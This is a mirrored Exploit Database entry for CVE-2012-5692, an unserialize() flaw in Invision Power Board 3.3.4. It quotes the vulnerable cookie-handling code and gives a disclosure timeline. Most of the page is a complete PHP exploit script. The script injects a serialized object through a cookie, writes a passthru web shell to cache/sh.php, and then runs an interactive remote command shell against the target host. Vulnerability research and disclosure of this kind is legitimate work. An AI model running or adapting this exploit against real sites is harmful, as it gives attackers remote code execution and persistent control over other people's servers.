Invision Power Board (IP.Board) 3.3.4 – ‘Unserialize()’ PHP Code Execution

Exploit Database
110 阅读

作者： EgiX

日期： 2012-11-01
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/22398/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

<?php

----------------------------------------------------------------

Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution

----------------------------------------------------------------

author..............: Egidio Romano aka EgiX

mail................: n0b0d13s[at]gmail[dot]com

software link.......: http://www.invisionpower.com/

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

4015.static public function get($name)

4016.{

4017.// Check internal data first

4018.if ( isset( self::$_cookiesSet[ $name ] ) )

4019.{

4020.return self::$_cookiesSet[ $name ];

4021.}

4022.else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )

4023.{

4024.$_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

4025.

4026.if ( substr( $_value, 0, 2 ) == 'a:' )

4027.{

4028.return unserialize( stripslashes( urldecode( $_value ) ) );

4029.}

The vulnerability is caused due to this method unserialize user input passed through cookies without a proper

sanitization. The only one check is done at line 4026,where is controlled that the serialized string starts

with 'a:',but this is notsufficient to prevent a"PHP Object Injection"because an attacker may senda

serialized string which represents an array of objects.This can beexploited to execute arbitrary PHP code

via the"__destruct()" method of the"dbMain" class,which calls the "writeDebugLog" method to write debug

info into a file.PHP code maybe injectedonly through the$_SERVER['QUERY_STRING']variable,for this

reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

[-] Disclosure timeline:

[21/10/2012] - Vulnerability discovered

[23/10/2012] - Vendor notified

[25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update

[25/10/2012] - CVE number requested

[29/10/2012] - Assigned CVE-2012-5692

[31/10/2012] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set('default_socket_timeout', 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "\n+---------------------------------------------------------------------+";

print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";

print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /ipb/\n";

die();

}

list($host, $path) = array($argv[1], $argv[2]);

$packet= "GET {$path}index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ?$m[1] : '';

class db_driver_mysql

{

public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');

}

$payload = urlencode(serialize(array(new db_driver_mysql)));

$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

$packet= "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";

$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet= "GET {$path}cache/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)

{

print "\nipb-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}